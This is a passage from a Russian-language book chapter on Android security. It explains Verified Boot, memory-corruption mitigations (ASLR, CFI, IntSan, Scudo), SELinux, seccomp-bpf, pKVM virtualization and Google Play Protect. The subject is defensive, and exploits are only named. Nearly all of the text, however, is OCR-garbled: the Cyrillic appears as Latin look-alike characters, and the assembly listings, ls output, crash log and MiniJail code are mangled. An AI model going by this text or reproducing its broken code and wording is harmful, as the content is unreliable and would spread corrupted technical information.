NoSb30BaTENS VP!

pasgenst)

Puc. 4.6. MeTagaHHble Verified Boot BkniouaoT B ceba Rollback Index
ANS 3aLWUTBI OT OTKaTa U XeLU-CyMMbl Pa3jenos
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TenedoH, MOHsJI, YTO OH 3alMdpOoBaH, 3anaposieH, a 3arpy3uyuk 3abnokuposaH. Kactom-
HYIO MPOLUXBKY OH YCTaHOBHTb HE MOXET (MO MPUYHHE HECOBMAaAEHHUS cepTHdHKaTa), HO
MOXET OTKaTHTb CMAapTOH K CTapoi BepCHH OGHLMATBHOH MPOLIMBKH, B KOTOPOii Obli
6ar, no3sonsowMid 000HTH OIOKHPOBLIMK 3KpaHa (Takoi Obln B mpoliuBke Samsung,
Harnpumep), ¥ C MOMOLLbIO HETO MOJy4aeT JOCTYM K coAepkHUMOoMy cMapTdoHa (pHc. 4.6).

3awmTa OT cpbiBa CTeka

llludpoBaHre NaHHBIX M PEXHM JOBEPEHHOH 3arpy3kKH CnacyT OT 3J0yMbILUIEHHHKA,
KOTOpbIi He cMOXeT 0GOHTH 3KpaH GJIOKHPOBKH M MOMBITAETCS CHATH JaMIl C YXKe Bbi-
KJIFOYEHHOT O YCTPOMCTBA UJIH 3arpy3uTh YCTPOMCTBO C allbTEPHAaTHUBHOM MpolurBkoi. Ho
OHH He 3aLUMTAT OT IKCIUTyaTalH YI3BUMOCTEH B yrke paboTarollell cucreme.

VS3BUMOCTH B sipe, ApaidBepax U CUCTEMHBbIX KOMIOHEHTaX 3a4acTylo MO3BOJISIOT NOJTY-
yuTh mpasa root. [Toatomy Google 3aHsnack yKperuyieHHeM 3THX KOMIMOHEHTOB MOYTH
cpa3sy nocJie penu3sa nepBoi Bepcud Android.

B Android 1.5 cucreMHble KOMNOHEHTHI ObIM MepeBeJeHbl Ha UCMOJIb30BaHHE OUOIHO-
Teku safe-iop (http://code.google.com/p/safe-iop), peanusytouieri dpyHkuuH Ge3omnacHo-
ro BBIMOJIHEHHS apUMETHUECKHX OmnepalMii Hal LeNbIMH YUCIaMH (3allMTa OT integer
overflow). U3 OpenBSD 6bi1a nozauMcTeoBaHa peanuszauus ¢pyHkuuu dmalloc, 3aTpya-
HSIOLLAs aTaKu C 3aJeHCTBOBAaHHEM JBOMHOr0 OCBOOOXIEHHS MaMsATH M aTakH COrjiaco-
BaHHOCTH YaHKOB, a Takxke ¢yHkuusa calloc ¢ npoBepkoi Ha BO3MOXHOCTD LIEIOYHCIIEH-
HOTO MEePEernoJHEHHs BO BPEMs ONepaLHH BblAEIEHHS NaMsTH.

Becb Hu3koypoBHeBbIi koa Android, HauuHas ¢ BepcuH 1.5, cobupaercs ¢ UCMONB30Ba-
HueM mexaHusma komnuastopa GCC ProPolice mns 3awurthl OT cpbiBa cTeka Ha 3Tarne
KoMnunsuui. HaunHas ¢ Bepcuu 2.3, B Kole 3aJeiCTBOBaHbI «OKEJIE3HbIE» MEXaHH3MbI
3aluThl OT cpbiBa cteka (6ut No eXecute (NX), noctynHbli, HaunHas ¢ ARMv6).

B Android 4.0 Google BHenpuna B OC TexHonoruto Address space layout randomization
(ASLR), koTopasi Mo3BOJISET pacrojOXHTb B aJPeCHOM MPOCTPAaHCTBE MpoLecca KoJ
MPHIOXKEHHUS, MOArpYKaeMbix OUONHOTEK, KyUH M CTeka ciayyaiHbIM o6pa3oM, Gnarona-
ps 4YeMy IKCIUTyaTaLMs MHOTMX THMIOB aTak CYLUECTBEHHO YCIIOXHSETCH, T. K. aTakyo-
IIeMy MPHUXOAMTCS yraabiBaTh ajpeca nepexoja Ui YCMEUWIHOTO BbIMOJIHEHHS aTaKH.
B nononHenue, HaunHas ¢ BepcuH 4.1, cbopka Android ocyuiecTBiseTcs ¢ HCMOIb30Ba-
HueM mexaHu3mMa RELRO (Read-only relocations), koTopelii NO3BONISET 3aLUMTHTb CHC-
TEMHbIE€ KOMIOHEHTbI OT aTaK, OCHOBAHHbIX HA MEpe3anucH CEeKLIMi 3arpyeHHOro B rna-
matb ELF-¢aiina. Haunnas ¢ Android 8, nognepsxka ASLR Takxke pacnpocTtpaHsieTcs Ha
sapo. B Android 4.2 nosBunace noanaepxka MexaHW3Ma FORTIFY SOURCE, MO3BOJISIOLLETO
OTCIIeANTh nepernosiHeHue 6ydepa B GYyHKLUHUSIX KOMUPOBaHUS MaMATH M CTPOK.

Hauunas c sgpa Linux 3.18, Android Bkmouaet B cebs codTBepHbIH BapHaHT QyHKLHH
PAN (Privileged Access Never), 3aluuiuatonield OT NpsMoro JocTymna K namMsaTH rpouec-
COB M3 pexxuma sapa. XOoTs caMo ApO OObIYHO HE UCTMOJb3YET 3TY BO3ZMOXHOCTb, HEKOP-
PEKTHO HamMCaHHblE ApaiBepbl MOTYT 3TO A€faTh, YTO MPUBOAMT K MOSBIEHHIO YS3BH-
MOCTEH.
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Bce sanpa 3.18 u Bble Takke BKmMouawT ¢yHkuuioo Post-init read-only memory
(https://lwn.net/Articles/676145/) — oHa moMe4aeT y4acCTKH NMaMATH, KOTOpble ObUIH
JOCTYMHBI JIS 3alMCH BO BpeMs MHHLHMAIM3ALMH AApa, kak read-only yxxe mocne MHH-
LHATH3aLIHH.

Haumnnas ¢ BoceMoii Bepcuu, npu c6opke Android ucnone3yercs TexHonorus Control
Flow Integrity (CFI, puc. 4.7), npenHa3HaueHHas i 60pbOBI C 3KCIUIOWTaMH, HCIIONb-
3yrowuMu TexHUKY ROP (Retumn Oriented Programming). ITpu Bimoyennn CFI kommnu-
JIATOP CTPOMT rpa¢ BbI30BOB (yHKLMH W BCTPaUBAET KOJA CBEPKH C 3TUM rpadoM nepen
K&KABIM BbI30BOM ¢yHKUMH. EciiM BBI30B MPOMCXOAHUT MO OTKIOHAIOLIEMYCA OT rpada
azipecy, MpUIIOKEHHE 3aBepLUAeTCs.

Bbiaoe BUpTYanbHOW dyHKuum 6ea CFl Bbi3os eupTyansHoi dynkumm c CFl

BuicTpbii NyTL
ANA KNACCoB,
; void foc{Fizz *ob3)
23200ReTizs_0 onpeaenaHHbix
var_18= ~0x18 B aTon 6ubnuotexe

; Attributes: bp-based frame

; Attributes: bp-based frame

; veid foo(Pizz *ocbl)
m;: L23fooReFizz
I3 RAFPiz:
Bolaos ™
BUpTYanbHoR  [VA5-%= ¢ sus e, 52, #ox30
p %20, X19, [SP,#0x204var_10]

var_s0= 0 STP
yHIUMn (VFC) o -, W, goxid :: x29, m,.(n,nxzon-:_-a)

STP X29, X30, (SP,#0x104var_s0}) ~ [AsEs
ADD x29, SP, #oxi0 oD
STR X0, [SP,#0x104var 8 oV
A b ar_| it
X8, [x0) .

X8, [X8,#0x10]
x8

Tabmaw

: CDEMECTWMBIX KTTBC0DR
____#—VFC (ycraHos«a)

viable ptr range
W nposepKa
BbIPABHWBAHHA

1DP X239, X30, [sP,#oxi04var_s0]
ADD =, SP, $0x20

nd of functien foo(Fizx &)

CFI Chechs

MeaneHHbIA NyTh
ANA KNaccos,

. OnPe/eNaHHbIX

B 061eA0CTYNHLIX
6ubnuoTexax

—VFC

g . ’ X ar s
X20, X19, [SP,#0x204var_10]
s?, P, $0x30

| LDP
ADD
RET

n

4 of function foo(¥iz: &)

Puc. 4.7. Koa Bbi30Ba hyHKLUWUM C OTKNIOYEHHBIM U BKNIONEHHbIM CFi

B Android 9 ucnons3zoBanmne CFl paciunpunoch u nokpsiBaeT MeauappeiiMBOpKH, a Tak-
xe ctek NFC u Bluetooth. B Android 10 momnepxka 6buta peanuzoBaHa Uii CaMoro
aapa. )

[Moxoxum obpazoM pabotaet TexHonorua Integer Overflow Sanitization (IntSan), npex-
Ha3HaueHHas JUIA 3aLUMThl OT LEIOYHCIIEHHOro nepenonHeHus. KoMnunarop BcTpauBaer
B pe3yJbTHPYIOILHUH KO MpHIoKeHHH ¢GyHKIHMH MPOBEPKH, KOTOPblE MCTIONb3YIOTCA UIA
MOITBEPXKIEHHA, YTO MCIMONHAeMas apudMeTHuYecKas orepauus He BbI3OBET Meperno-
HEHHA.
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BnepBeie 3Ta TexHONOrua Gbuta ucnonb3oBaHa B Android 7 mns 3awmMThl MeauacTeka,
B KOTOpPOM OOHapy>XHJIH LieJbIi KOMIUTEKC yJaneHHbIX ysa3BumocTei Stagefright. B And-
roid 8 oHa Taroke Hcrosb3yeTcs IUiIA 3alMTHl koMroHeHToB libui, libnl, libmedia-
playerservice, libexif, libdrmclearkeyplugin u libreverbwrapper. B Android 10 mpoBep-
KaMH ynanochk nokpeite 11 Mennakoaekos u crek Bluetooth. ITo cnosam pa3paborunkos,
yxe cyuecTBoBasiune B Android 9 npoBepkH MO3BOJIWIN HEHTpan30BaTh | | pa3nH4HBIX
YA3BHUMOCTEMH.

B Android 7 meauactek 6bU1 pa3fesieH Ha MHOXKECTBO HE3aBHCHMBIX CEPBHCOB, Kbl
M3 KOTOPBIX MMEET TOJIBKO T€ MOJIHOMOYHA, KOTOphie eMy HYXHbI. Fiies cocToHT B TOM,
yTo ysa3BUMoOCTH Stagefright 65Ut HaliieHbl B koJe MeIHAaKONEKOB, KOTOphI€ Tenepb
He MMeloT noctyna Kk HIHTepHeTy, Tak YTO He MOrYT 3KCIUTyaTHpPOBaThCA YIAJIEHHO
(puc. 4.8). Ilonpo6Hee 06 3TOM MOXKHO mMouuTaTh B Gnore Google mo aapecy https://
android-developers.blogspot.ru/2016/05/hardening-media-stack.html.

Android M Android N
MediaServer AudioServer

=

CameraServer
HocTtyn n paspeweHus

ExtractorServer

MediaCodecServer

MediaDrmServer
Mpoyecc Hoctyn u paspeweHus

MediaServer
Npoyecc DlocTyn u paspewenus

Puc. 4.8. PasgenenHbiii MediaServer _
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HauuHas ¢ Android 10, Meauakoaeky MCMONB3YIOT ajuiokaTop naMatd Scudo, 3aTpyn-
HAOWMH aTaku THUNa use-after-free, double-free u nepenonnenue xuna. B Android 11
Scudo Hcronb3yeTcs B kKauecTBe CTaHAApPTHOrO ajokaropa s Beeit OC.

B nocneanue roasl Google Hayana akTHBHO 3aMeHATh HeGe3onacHble A3bIKH Ul pa3pa-
6otku nox Android. Tak, B Bepcuu Android 13 npumepHo 2 1% HOBOro roga HamucaH Ha
s3pike  Rust  (https://security.googleblog.com/2022/12/memory-safe-languages-in-
android-13.html). Rust umMeeT cucTeMy KOHTpONs NaMATH, KOTOpas MO3BOJIAET H30exaThb
MHOTHX OLUMOOK, CONMpPOBOXAAIOLIMX MPHIOKEHHs, HanucaHHble Ha C/C++, Takux Kak
HEHHHLIMATTU3HPOBAHHbBIE YKa3aTelll, nepenoiHeHus Oydepa v yreuku naMsaTH. Rust naer
BCE 3TH rapaHTHH 0€30MacHOCTH, COXpaHss CBOMCTBEHHYIO HEOE30MacHbIM A3bIKaM Mpo-
M3BOAMTENBHOCTb.

SELinux

Ewe oauH 6onbl1oii war B CTOpOHY 3allMThl OT BO3MOXKHbBIX YSA3BHUMOCTEH B CHCTEMHBIX
komnoHeHTax OC — TtexHonorus SELinux. SELinux pa3paboTraHa areHTCTBOM HalHO-
HanbHo# 6e3onacHocTH ClIIA W yxe 1aBHO MCIMOJIb3YETCS BO MHOTHX KOPMOPATHBHbBIX H
HaCTOJIbHbIX AUCTpHOYTHBaX Linux Ui 3alLMThI OT caMbIX pa3HbIX BUAOB aTak. OOHO H3
OCHOBHbIX npuMeHeHHH SELinux — 3T0 orpaHHueHHe BO3MOXKHOCTEH MPHIIOKEHHH Kak
B rulaHe aoctyna k pecypcam OC, Tak U JaHHBIM JPYrHX MPHIOKEHHH.

C nomoubto SELinux MoXHO, HanpuMmep, cAenarth Tak, YToObl BeO-cepBep UMeN JOCTYI
TOJILKO K OmpefdesieHHbIM ¢ainaM W auana3oHy MOpTOB, HE MOT 3amyckaTb OHHapHble
¢aiinbl, MOMUMO 3apaHee OrOBOPEHHBIX, H UMEJ OrpaHHYEHHBbIH JOCTYN K CHCTEMHbIM
Bbi3oBaM. [lo cytn, SELinux 3anupaer npuiokeHHe B MECOYHHLYY, CEPbEe3HO OrpaHH4H-
Basi BO3MOXXHOCTH TOT0, KTO CMOJXKET €ro B3JIOMaTh.

Bckope nocne nosBneHus Ha cBeT Android pa3paborumku SELinux Hawanu npoekt
SEAndroid ¢ uensto nepeHectd cuctemy B MoOuibHyto OC W paspaborath npaBuia
SELinux ans 3amuTel ee KOMNoHeHTOB. HaunHas ¢ Bepcuu 4.2, HapabOTKH 3TOro npoek-
Ta BX0IAT B coctaB Android, HO Ha nepBbIX Mopax (BepcuH 4.2--4.3) OHH HCTIOJIB30BANTUCD
MCKJIIOUHMTENBHO UTA c6opa HHPOPMALHH O MOBEJEHHH KOMIOHEHTOB CHCTEMBI (C LIENbIO
nocyenymrlLlero cocrapneHus npasun). B sepcun 4.4 Google nepeBena cucTeMy B aKTHB-
HbIi peXHM, HO C MATKMMH OrpaHHYEHHSMH [UIS HECKOJIbKHX CHCTEMHBIX IEMOHOB
(installd, netd, vold u zygote). Ha monHyto »xe karywky SELinux 3apabortan Tosnbko
B Android 5.

B Android 5 npexycmotpeHo 6onee 60 nomeHoB SELinux (mpouue rosopss — npaBui or-
paHHuYeHHH) MOYTH AN KaKIOro CHCTEMHOrO KOMIOHEHTA, HauWHas OT MepBHYHOrO
npolecca init ¥ 3akaH4dBas MOJb30BAaTENbCKUMH MpPUIOXKEHHAMH. Ha npakThke 31O
03Ha4aeT, YTO MHOTHe BEKTOpPbI aTak Ha Android, KOTOpble B MPOLLIOM HCMONB30BAIUCh
KaK CaMMMH TMONb30BaTENsAMH [Js MOJTYYEHHs root, Tak W pa3HOro poja MaBapblo,
Gonblie He aKTyasbHbI.

Tak, Hanpumep, ys3sumoctb CVE-2011-1823, uMeBLuas Mecto Bo Bcex Bepcusax Android
10 2.3.4 1 no3BonsoLlas BbI3BaTh memory corruption B 1eMoHe vold, a nanee nepenatb
yrnpaBJieHHe LIeTy ¢ npaBaMH root (3kcruioiT Gingerbreak), He Morsa 6b1 ObITh HCTIONb-
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30BaHa, Oyap oHa HaiaeHa B Android 5. 3meck, cornacHo npaBunam SELinux, vold e
HUMeeT MpaBa 3amyckaTh Opyrue UcrmosiHseMbie daiinbl. To ke camoe cnpaBedJIMBO H
B oTHoeHuH ysa3BuMoctH CVE-2014-3100 B Android 4.3, no3Bonstoneii BBI3BaTh Mepe-
nonHeHue Oydepa B nemoHe keystore u 70% apyrux ys3BUMOCTEIA.

SELinux 3HaYMTENbHO CHWXKAE€T PUCK 3aBJaJ€HUS YCTPOHCTBOM MOCPEACTBOM 3KCILTya-
TallMU YSA3BUMOCTEH B HHU3KOYPOBHEBBIX KOMIOHEHTAaX CHCTEMbI (MHOrOYHMCIIEHHBIX Ha-
nucaHHbelX Ha Cu u Cut+ 1eMOHax, UCTIONHIAEMBIX OT UMEHH root), HO B TO € BpeMsd
3aTpyAHSET MOJyYeHHUE root, Tak ckaszath, «is ceOs» (puc. 4.9). bonee Toro, oTHBIHE
npaBa root caMu 1o cebe He rapaHTHPYIOT MOJHOrO KOHTPOJIs HaJ CUCTEMOH, T. K. AJA
SELinux HeT pa3HULbI MEXTY OOBIYHBIM FO3€POM U CYTNEPIONIb30BATENEM.

root@mako:/ # 1s -Z /system/bin/ .

-rwxr-xr-x root shell u:object_r:system_file:s0 ATFWD-daemon
-rwxr-xr-x root shell u:object_r:system_file:s0 adb

-rWXr-xr-x root shell u:object_r:system_file:s0 am

1rwxrwxrwx root root u:object_r:system_file:s0 app_process -> /system/xbin/daemo
lrwxrwxrwx root root u:object_r:system_file:s0 app_process32 -> /system/xbin/dae
-rwxr-xr-x root shell u:object_r:zygote_exec:s0 app_process32_original
-rwxr-xr-x root shell u:object_r:system_file:s0 app_process_init
-rwxr-xr-x root shell u:object_r:system_file:s0 applypatch

-rwxr-xr-x root shell u:object_r:system_file:s0 applypatch_static
-rwxr-xr-x root shell u:object_r:system_file:sO appops

-rwxr-xr-x root shell u:object_r:system_file:s0 appwidget

drwxr-xr-x root shell u:object_r:system_file:s0O asan

-rwxr-xr-x root shell u:object_r:system_file:s0 asanwrapper

-rwxr-xr-x root shell u:object_r:system _file:s0O atrace

-rwxr-xr-x root shell u:object_r:system_file:sO bcc

-rwxr-xr-x root shell u:object_r:bluetooth_loader_exec:s0 bdAddrlLoader
-rwxr-xr-x root shell u:object_r:system_file:s0 bdt

-rwxr-xr-x root shell u:object_r:system_file:s0 blkid

-rwxr-xr-x root shell u:object_r:system_file:s0 bmgr

-rwxr-xr-x root shell u:object_r:bootanim_exec:s0@ bootanimation
-rwxr-xr-x root shell u:object_r:bridge_exec:s0 bridgemgrd

-rwxr-xr-x root shell u:object_r:system_file:s0@ btnvtool

-rWxr-xr-x root shell u:object_r:system_file:s0 bu

-rwxr-xr-x root shell u:object_r:system_file:s0@ bugreport

Lrwxrwxrwx root root u:object_r:system file:s® cat -> toolbox
-rwxr-xr-x root shell u:object_r:system_file:s@ charger_touch

Puc. 4.9. KoHTekcTbl SELinux HaTMBHbLIX AEMOHOB W NPUIIOXKEHUA

Seccomp-bpf

Seccomp — elue OlHA TEXHOJIOrUs spa Linux, Mo3Bosomas orpaHHYUTh CIMCOK J0C-
TYMHBIX MPUJIOXKEHUIO (M B MEPCTEKTHBE OMAcCHBIX) CHCTEMHBIX BBI3OBOB. Mcmonb3ys
seccomp, MOXKHO, HallpHUMep, 3alpeTUTh MPHI0KEHHIO UCTIONIB30BaTh CUCTEMHbIH BBI30B
execve, KOTOPBIH YacTO MPUMEHSIOT 3KCIUIOMTBI, WIIH 3a0JIOKMPOBaTh CUCTEMHBIH BBI3OB
listen, C TOMOMIBIO KOTOPOrO MOXHO MOBECHTh Ha CeTeBOW MopT Gekmop. MMeHHO
Seccomp J1eXKHUT B OCHOBE CHCTEMBI H30JIALIMH BKJIaoK B Opay3epe Chrome ans Linux.

Texnonorus ucnone3oBanack B Android, HauWHas ¢ ceAbMOH BEPCHH, HO MPHUMEHAIACH
HCKIIIOUMTENBHO K CUCTEMHBIM KOMMNOHeHTaM. B Android 8 seccomp-¢unbtp 6611 BHE-
ApeH B Zygote, npoLecc, KOTOPbIiA MOpOXIaeT NPOLIECCH] BCEX YCTAHOBJIEHHBIX B CHCTE-
MY NPUIIOKEHUH.

Pa3pa60Tqmm MpOoaHaJIU3HPOBAIH, KAKHE CHCTEMHBIC BbI3OBbI HY>KHBI JJ11 3arpy3KH oC
H paGOTbl OOJIBLLIMHCTBA HpHHO)KCHPIf;l, a 3aTeM OTCEKJIH JHUlUHHEe. B urtore B ‘-leprIﬁ
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3-89 16:39:32.122 15107 15167 I crash_dump32: performing dump of process 14942 (target tid = 14971)

63-89 16:39:32,127 15167 15167

DEBUG $ORRE RRE KRR FER RRE AR RAR KRR KRR REE KRR AR REF RRE AFA K

63-69 16:39:32.127 15187 15167 F DEBUG  : Build fingerprint: ’'google/sailfish/sailfish:0/0PP1.176223.613/3795621:userdel

63-69 16:39:32.127 15107 15107 F DEBUG : Revision: '6'

63-69 16:39:32.127 15167 15167 F DEBUG : ABI: ‘arm’

63-69 16:39:32.127 15167 15167 F DEBUG  : signal 31 {SIGSYS), code 1 (SYS_SECCOMP), fault addr --------

63-69 16:39:32.127 15167 15167 F DEBUG : Cause: seccomp prevented call to disallowed system call 55

DEBUG  : ro 66660691 rl 60686887 r2 ccdBcOO8 r3 BOO66661:

1
F
F
F
F
63-69 16:39:32.127 15167 15167 F DEBUG : pid: 14942, tid: 14971, name: WorkHandler >>> com.redacted <<<
F
F
63-69 16:39:32.127 15167 15167 F
F

63-69 16:39:32.127 15167 15107-F DEBUG  : r4 66000660 r5 60080660 r6 00066000 r7 66660037

Puc. 4.10. Kpaw cuctembl Npu NONbITKE BHINONHUTL HEPa3peLUEHHbIA CHCTEMHbIA BbI30B

cnMcok momanmu 17 u3 271 cucremHoro BeizoBa Ha ARM64 u 70 u3 364 Ha ARM
(puc. 4.10).

ITpumep ucnone3oBanus Seccomp B cepBuce MediaExtractor:

static const char kSeccompFilePath[] =
"/system/etc/seccomp policy/mediaextractor-seccomp.policy"”;

int MiniJail()
{
struct minijail *jail = minijail new();
minijail no new privs(jail);
minijail log seccomp filter failures(jail);
minijail use seccomp_filter(jail);
minijail parse seccomp filters(jail, kSeccompFilePath);
minijail _enter(jail);
minijail destroy(jail);
return 0;

®Daiin mediaextractor-seccomp.policy:

iectl: 1
futex: 1
prctl: 1
write: 1
getpriority: 1
mmap2: 1
close: 1
10munmap: 1
dupe: 1
mprotect: 1
getuid32: 1
setpriority: 1
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Bupryanusauus

Bupryanuzauuio MOXXHO MCMONIB30BaTh Ads pasHbiX uened. O6nauHbsle npoBainepsl
MPHUMEHSIOT €€, YTOOBI Pa3feuTh pecypchl OHOH (pH3HUECckoi MalUMHBI MEXIY Pa3HbI-
MH MOTpeOHTENSIMH, OOBIYHBIE MOJIB30BATENH — YTOOBI 3aMycKaTh NPUJIOKEHHUS, HEA0C-
TyMHbIe A1 yctaHoBieHHoH Ha mauHe OC. Ectb u Gonee MHTEpecHbIE MOAXOMbI, Ha-
NMpUMep 3KCMEepHMEHTalIbHas onepauroHHas cucteMa QubesOS ucnonb3yer BHpTYyanu-
3aHI0, YTOOBI )KECTKO OTAEJIUTh Pa3IHYHbIE KOMIOHEHTbI CHCTEMBI W MPHJIOKEHHH IpyT
OT Jpyra 1 TakuM oOpa3oM MoBbICHTH Ge3onacHocTk. [IpousBoaurenu cMapTdoHOB HAYT
ewte Gosee CTpaHHBIM MyTEM W HEPENKO 3aMyCKaloT BHYTPH BUPTYaJbHOH MaLIMHBI pa3-
JIMYHBbIE KpUNTorpadpHyeckue KOMIMOHEHTHI HIIH Aaxe Moaynu DRM.

CMBICT 31€Ch TOT kK€ caMbld, 4To M B ciydae ¢ QubesOS, — pa3nenuTs KOMMOHEHTHI
cHCTEMBI B Liesiix 06€30MmacHOCTH MM XpaHeHHs cekperoB. [lapanokc, oaHako, 3akimoya-
€Tcs B TOM, YTO TakoH Moaxo] oObIYHO HE YBEJIHYMBAET, a CHHXAeT 6e30MacHOCThb, TaK
Kak COOCTBEHHBIH THMEPBH30p MPOU3BOAMUTENS cMapTdOHa U MEXaHHU3MBI MEepeaayH JaH-
HBIX MEXIY BHPTYaldbHbIMH IOMEHAMH 3a4aCTyl0 HE COOTBETCTBYIOT MHHHMMAaJIbHbIM
TpeOoBaHHAM 0€30MacHOCTH M cofiepXKaT ysa3BMMOCTH. bonee Toro, kpunrorpapuyeckue
moxynu U moayiau DRM 3avactyio paboraioT Ha TOM ke ypOBHE NMPUBHJIETHH, UTO H caM
runepBu3op. B urore 310yMbILIIEHHHK MOXKET MOMYYHTh KOHTPOJIb HaJ FHIEPBH30POM,
KOTOPbIi HMeeT OoJiblIe MoJTHOMOYHi, yeM cama OC!

Heckonbko Jier Hazan uHxeHepbl Google pelniv MOJIOXKUTh 3TOMY KOHEL| M cO31aTh
COOCTBEHHYIO 3TAJIOHHYIO peali3alMi0 THIEPBU30Pa, KOTOPYIO MPOU3BOAMUTENIH MOTJIH
Obl HCMOJIB30BATh MO CBOEMY YCMOTpEHHIO. [{ns 3Toro Obu1 BEIOpaH MPOBEPEHHBIH Bpe-
MeHeM runepeu3op KVM, Ha ocHoBe koToporo unxeHepsl Google co3znanu 6onee 6e30-
nacHylo M orpaHuveHHylo cucremy pKVM. BnepBbie oHa mosBWiach B fAapax Bep-
cuit 5.10 u 5.15 nna Android 13 B Buae obHoBnsiemoro Monyns APEX.

Jlna ynpaBneHus BUpTyaibHbIMH MauiiHaMH 3 ChromeOS 6bin mopTHpOBaH HanmHMcaH-
HbIii Ha s3bike Rust MeHemkep crosvm. OOBbIYHBIE MONB30BATENN B3aHMMOAEHCTBOBATH
C HMM HE CMOTYT, HO, MOJIy4YHB MpaBa root, MO>KHO JOOUTHCA 3amycka J0OBIX JUCTPHOY-
THBOB Linux u naxe Windows (31€ech peub MIET O HacToALIEH BUPTyaaH3aLUH, a He 00
HM30/IALIMM C MOMOLLIBIO MPOCTPAHCTB MMEH Azpa Linux, koTopas MCMONB3yeTcss BCEMH
COBPEMEHHBIMH HHCTPYMEHTaMH 3amycka Linux BHyTpu Android).

Cama Google Ha 1aHHOM 3Tarne MJIaHUPYET MCMOJIB30BaTh BUPTYaIH3aLMIO Ul 3aMycka
KOMITOHEHTOB PEKJIaMHBIX ceTed (YTOOBI OHH HE MOMIH MOJYYHTh AOCTYM K JAaHHBIM
MoJIb30BaTeNs), a TakXKe U1 TaK Ha3bIBAEMOH M30JIMPOBaHHOM KOMNHWIALMH. [{ng sToro
Google noaroroBuna crneuuansHyl0 ype3aHHylo cbopky Android mox Ha3BaHHeM
Microdroid  (https://www.xda-developers.com/microdroid-stripped-down-android-
virtual-machines/), He umerouryro GUI 1 npeaHa3HaYeHHYIO CreLManbHO IS 3amycka
B BUpTyaJlbHOH MauuHe. Takum oOpa3oM, coBceM CKOpo Ha Haulux TenedoHax Oyner
paboTaTh He OJMH, a HECKOJIbKO pa3HbIX cOopok Android. XoTs GonbLIMHCTBO U3 Hac 00
9TOM JaXK€ HE Y3HaeT.
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Google Play Protect

B ¢eppase 2012 roga Google Biutiounnace B 60ps6y co 310BpeAHBIMH NPHIOKEHHAMH H
3amycTHJIa CEpBUC OHJIaHH-NpOBEPKH NpWIoXkeHHH Bouncer, KOTOpBIi 3amycka Kaiaoe
nybnukyemoe B Google Play npunoxkeHHe B 3MyJsATOpe M NMPOroHAJ 4Yepe3 MHOTrO4YHMC-
JICHHBIE TECTBI B MOUCKAX MOAO3PHTENBHOrO MOBEACHHUA.

B Hoa6pe Toro >xe roxa 6bu1 3amyIleH cepBUC OHIAH-NPOBEPKH codTa Ha BUPYCHI MpA-
MO Ha yctpoiictee monb3oBarens (Verify Apps). H3HayanbHO OoH paGotan Tonbko Ha
Android 4.2, Ho k momo 2013-ro 6si1 MHTErpupoBaH B naker Google Play Services u
CTaJl JOCTYIEH [yl BCceX YCTpoiicTB oT 2.3 u Bhilue. HaunHas ¢ anpens 2014-ro nposepka
OCYLIECTBJIAETCA HE TOJLKO Ha 3Tane YCTaHOBKH NMPHIIOKEHHA, HO H 10 PacHCaHHIO, a
¢ 2017 rona 3a mpoBepKaMH MOXKHO CJIEANTDb depe3 HHTepdeic CHCTEMBI O] Ha3BaHHEM
Google Play Protect. :

BMecte ¢ HOBbIM HHTepdelicom Google BhITalMna Hapyxy elle HECKOJIBKO HHAMKATO-
poB pabothl aHTHBHpyca. Bepcus Play Store mna Android 8 u Beile Moka3siBaeT cTa-
TYC MPOBEPKH Ha CTPaHHLE TMPHJIOKEHHA, a TaloKe BHIBOAMT KPACHBBIH 3€JEHBIH IUT
¢ Haanuckio «Bce xopoluo, napeHsb, Thl 3alMLIEH» B CITMCKE YCTAHORIIEHHBIX MPHIIOXKE-
Huit (puc. 4.11). B Android 12 nosBuncs Taioke uHTepdeiic Privacy Dashboard ¢ 06umm
0630poM Bcex HaCTpOeK M MOJTHOMOYHA, MO3BOJIAIOLIMIA MOHATh, K KAKMM JaHHBIM MOJb-
30BaTeNsA NMPHIOKEHHA UMEIOT JOCTYII.

Play 3awura : ¢ bBesonacHocTb
w Google Play 3aiuTa perynapHo Boiw
| NPOBepAEeT NPUNOKEHHUA W YCTPOHCTBO
Ha Hanuuue yrpo3 6e30nNa8CHOCTH. JsuuTHbIA Kon
Bbi 6ynete nonyuate ysegomneHun 060
BCEX 06HapYXEeHHbIX pUCKaX. Haimu ycrposicTee
COfFCaiES HaiiTn ycTpoicTeo
YAaneHHbiA NOUCK yCTPOHCTBa
HenaBHo nposep nNpUNC
P i Cratyc 6e30nacHocTH
>roed:
ROy
Google Play 3auura

focnearee CKAHMPOBAHWE NPUNOXEHWNH. Buepa B 22:27 [lOCNENHEE CXAHKPOBAHHE NPHNOKEHWL: Buepa 8 22:27

e Bce 8 nopngke
BpegoHOCHBIE NPUNOXKEHNA HE HaHAGHD!.

MpoBepaTs yrposbl 6830NacHOCTH

Google Gyger perynapHo nposepaTs paboTy

YCTPOWCTB U NpeaynpexaaT o npwiokesusx, Sl
XOTODPbI® MOFYT HAHECTHW BPEA, KW OTKAKYaTh

nx

SR R SRS BB

Puc. 4.11. Google Play Protect 8 Android 8
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ITo cocrosuuio Ha sHBape 2023 roma Play Protect cmoco6en o6HapyxxuBate 93.3%
HoBbIX BUpycoB (https://www.av-test.org/en/antivirus/mobile-devices/). 3to BnosiHe
00BICHUMO, yuuThIBas, uto Google He MoXeT MO3BOJUTH cebe HCIOJIb30BATh . TE XKe
arpeccHBHbIC 3BPHCTHUECKHE METOABI, KOTOpbI€ TPHUMEHSIOT ApPYyrHe AaHTHBUPYCHI
(6ONBUIMHCTBO aHTHUBHPYCOB CYMTAIOT MOAO3PHTENBHBIMHU JaXKe MPHIIOKEHHS, HMEIOLHE
MOJTHOMO4HME Ha oTnpaBky SMS).

KAK PABOTAET GOOGLE PLAY PROTECT

Google noytn He packpbiBaeT nogpobHocTen paboTtel Google Play Protect. Bece, 4to y Hac
ecTb, — 370 ctathd Combating Potentially Harmful Applications with Machine Learning at
Google: Datasets and Models (https://android-developers.googleblog.com/2018/11/
combating-potentially-harmful.html). Heckonbko Tesucos:

e Google aHanusupyeT He Tonbko NpunoxeHus us Google Play, Ho 1 niobbie cdannsl APK,
HanaeHHble B MIHTepHeTe.

e [InA kaxgoro nNpunoxeHus 3anyCckarlTca npoueaypbl CtTatTu4eckoro n guHamudeckoro
aHanuaa, KoTopble BbIABNAKT onpeaeneHHble LWabnoHbl: 3anpailuveaemMble paspelleHus,
noseaeHue NpuUnoXeHua B Tex Nnn UHbIX obcrosTenscTBax.

e [laHHble, NOny4YeHHble OT CTATUMECKUX U AUHAMUYECKUX aHanu3aTopoB, nepeaalnTcs
